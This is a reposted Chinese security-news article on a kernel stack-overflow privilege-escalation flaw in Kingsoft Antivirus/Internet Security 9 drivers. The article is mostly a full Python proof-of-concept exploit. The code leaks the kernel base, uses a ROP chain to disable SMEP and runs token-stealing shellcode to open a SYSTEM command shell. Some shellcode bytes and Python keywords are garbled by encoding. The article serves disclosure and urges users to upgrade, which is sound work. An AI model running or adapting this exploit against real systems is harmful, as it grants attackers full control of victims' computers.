金山毒霸被曝存在内核权限提升漏洞,黑客可攻击电脑

  • A+
所属分类:安全漏洞
金山毒霸被曝存在内核权限提升漏洞,黑客可攻击电脑
点击上方“安全优佳” 可以订阅哦!

金山毒霸被曝存在内核权限提升漏洞,黑客可攻击电脑

漏洞总结

下文介绍了在金山毒霸/ Internet Security 9+中发现的一个能导致权限提升的内核堆栈溢出漏洞。金山毒霸为用户免费提供高效的安全保护解决方案。 它将云安全技术应用于监视,扫描和保护您的系统,让你的系统安全无忧。这种综合病毒防御工具可以让你的电脑免受有害的病毒、蠕虫和特洛伊木马的侵害。由于其简单易用,用户可以很轻松地使用金山毒霸。

漏洞来源

一个独立安全研究者,Steven Seeley,在Beyond Security的SSD项目中公布了这个漏洞。

厂商回应

从2017年十月8日起,我们就尝试着联系着金山公司,试图与其建立联系但没有得到回应。当前,这个漏洞没有任何解决方案。

漏洞细节

此漏洞允许本地攻击者在容易受感染的 Jungo WinDriver 上升级特权。

在处理 IOCTL 0x80030004 或 0x80030008 时,金山毒霸的kavfm.sys(反病毒)或KWatch3.sys(互联网安全)内核驱动程序中存在特定的缺陷。驱动程序没有正确验证用户提供的数据,这可能导致内核堆栈缓冲区溢出。

攻击者可利用此漏洞在内核环境下执行任意代码。

;jumptable000117C1case0

.text:000117C8loc_117C8: ;CODE XREF: sub_11790+31

.text:000117C8

.text:000117C8push ebx;our input buffer size

.text:000117C9lea ecx,[esp+58h+var_40];thisisafixed size stack buffer of0x40

.text:000117CDpush edi;our input buffer

.text:000117CEpush ecx;char *

.text:000117CFcall strncpy;stack buffer overflow

.text:000117D4add esp,0Ch

.text:000117D7lea edx,[esp+54h+var_40]

.text:000117DBpush edx;char *

.text:000117DCmov[esp+ebx+58h+var_40],0

.text:000117E1call sub_167B0

.text:000117E6pop edi

.text:000117E7mov esi,eax

.text:000117E9pop esi

.text:000117EApop ebp

.text:000117EBpop ebx

.text:000117ECadd esp,44h

.text:000117EFretn8

POC

import sys

from ctypes import *

from time import sleep

from ctypes.wintypes import *

import struct

import os

from random import choice

kernel32 = windll.kernel32

ntdll = windll.ntdll

MEM_COMMIT = 0x00001000

MEM_RESERVE = 0x00002000

PAGE_EXECUTE_READWRITE = 0x00000040

STATUS_SUCCESS = 0

def get_ioctl():

returnchoice([0x80030004,0x80030008])

def alloc_shellcode(base,input_size):

"""

allocates some shellcode

"""

print"(+) allocating shellcode @ 0x%x" % base

baseadd = c_int(base)

size = c_int(input_size)

# --[ setup]

input = struct.pack("<I",0x000506f8)# bypass smep

# --[ setup]

input += "`"# pushad

input += "d¡$"# mov eax, fs:[KTHREAD_OFFSET]

# I have to do it like this because windows is a little special

# this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.

input += "@p"# lea eax, [eax+0x70];

input += "‹@"# mov eax, [eax+0x10];

input += "‰Á"# mov ecx, eax (Current _EPROCESS structure)

# win 10 rs2 x86 TOKEN_OFFSET = 0xfc

# win 07 sp1 x86 TOKEN_OFFSET = 0xf8

input += "‹˜ü"# mov ebx, [eax + TOKEN_OFFSET]

# --[ copy system PID token]

input += "º"# mov edx, 4 (SYSTEM PID)

input += "‹€¸"# mov eax, [eax + FLINK_OFFSET] <-|

input += "-¸"# sub eax, FLINK_OFFSET |

input += "9´"# cmp [eax + PID_OFFSET], edx |

input += "uí"# jnz ->|

# win 10 rs2 x86 TOKEN_OFFSET = 0xfc

# win 07 sp1 x86 TOKEN_OFFSET = 0xf8

input += "‹ü"# mov edx, [eax + TOKEN_OFFSET]

input += "‰‘ü"# mov [ecx + TOKEN_OFFSET], edx

# --[ recover]

input += "a"# popad

input += "Ā"# adjust the stack by 0xc

input += "1À"# return NTSTATUS = STATUS_SUCCESS

input += "Ã"# ret

# filler

input += "C" * (input_size-len(input))

ntdll.NtAllocateVirtualMemory.argtypes = [c_int,POINTER(c_int),c_ulong,

POINTER(c_int),c_int,c_int]

dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff,byref(baseadd),0x0,

byref(size),

MEM_RESERVE|MEM_COMMIT,

PAGE_EXECUTE_READWRITE)

ifdwStatus != STATUS_SUCCESS:

print"(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)

returnFalse

written = c_ulong()

write = kernel32.WriteProcessMemory(0xffffffff,base,input,len(input),byref(written))

ifwrite == 0:

print"(-) Error while writing our input buffer memory: %s" % write

returnFalse

returnTrue

def alloc(base,input_size,ip):

baseadd = c_int(base)

size = c_int(input_size)

input = "D" * 0x40# offset to ip

# start our rop chain

input += struct.pack("<I",nt + 0x51976f)# pop ecx; ret

input += struct.pack("<I",0x75757575)# junk

input += struct.pack("<I",0x76767676)# junk

input += struct.pack("<I",ip)# load 0x506f8

input += struct.pack("<I",nt + 0x04664f)# mov eax, [ecx]; ret

input += struct.pack("<I",nt + 0x22f2da)# mov cr4,eax; ret

input += struct.pack("<I",ip + 0x4)# &shellcode

# filler

input += "C" * (input_size-len(input))

ntdll.NtAllocateVirtualMemory.argtypes = [c_int,POINTER(c_int),c_ulong,

POINTER(c_int),c_int,c_int]

dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff,byref(baseadd),0x0,

byref(size),

MEM_RESERVE|MEM_COMMIT,

PAGE_EXECUTE_READWRITE)

ifdwStatus != STATUS_SUCCESS:

print"(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)

sys.exit()

written = c_ulong()

write = kernel32.WriteProcessMemory(0xffffffff,base,input,len(input),byref(written))

ifwrite == 0:

print"(-) error while writing our input buffer memory: %s" % write

sys.exit()

def we_can_trigger_overflow():

GENERIC_READ = 0x80000000

GENERIC_WRITE = 0x40000000

OPEN_EXISTING = 0x3

IOCTL_VULN = get_ioctl()

DEVICE_NAME = "\.KWatch3"

dwReturn = c_ulong()

driver_handle = kernel32.CreateFileA(DEVICE_NAME,GENERIC_READ | GENERIC_WRITE,0,None,OPEN_EXISTING,0,None)

ip = 0x24242424

inputbuffer = 0x41414141

inputbuffer_size = 0x60

outputbuffer_size = 0x1000

outputbuffer = 0x20000000

alloc(inputbuffer,inputbuffer_size,ip)

alloc_shellcode(ip,0x100)

alloc(outputbuffer,0x100,ip)

IoStatusBlock = c_ulong()

ifdriver_handle:

print"(+) sending stack overflow..."

dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,

None,

None,

None,

byref(IoStatusBlock),

IOCTL_VULN,

inputbuffer,

inputbuffer_size,

outputbuffer,

outputbuffer_size

)

returnTrue

returnFalse

def we_can_leak_the_base():

"""

Get kernel base address.

This function uses psapi!EnumDeviceDrivers which is only callable

from a non-restricted caller (medium integrity or higher). Also the

assumption is made that the kernel is the first array element returned.

"""

globalnt

print"(+) enumerating kernel base address..."

array = c_ulonglong *1024

lpImageBase = array()

szDriver = array()

cb = sizeof(lpImageBase)

lpcbNeeded = c_long()

res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase),

sizeof(lpImageBase),

byref(lpcbNeeded))

ifnotres:

print"(-) unable to get kernel base: " + FormatError()

sys.exit(-1)

# nt is the first one

nt = lpImageBase[0] & 0x00000000ffffffff

returnTrue

def main():

print" --[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"

print" Steven Seeley (mr_me) of Source Incite "

ifwe_can_leak_the_base():

print"(+) found nt base at 0x%08x" % (nt)

ifwe_can_trigger_overflow():

os.system("cmd.exe")

else:

print"(-) it appears that kingsoft Internet Security is not installed!"

if__name__ == '__main__':

main()

受该漏洞影响的是金山毒霸9,目前国内金山毒霸版本已更新至11,国外版本更新情况不明。如有金山毒霸9或10版本用户,请及时升级杀毒软件,以免受到攻击。


金山毒霸被曝存在内核权限提升漏洞,黑客可攻击电脑

安全优佳

http://news.secwk.com

长按识别左侧二维码,关注我们


本文始发于微信公众号(安全优佳):金山毒霸被曝存在内核权限提升漏洞,黑客可攻击电脑

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: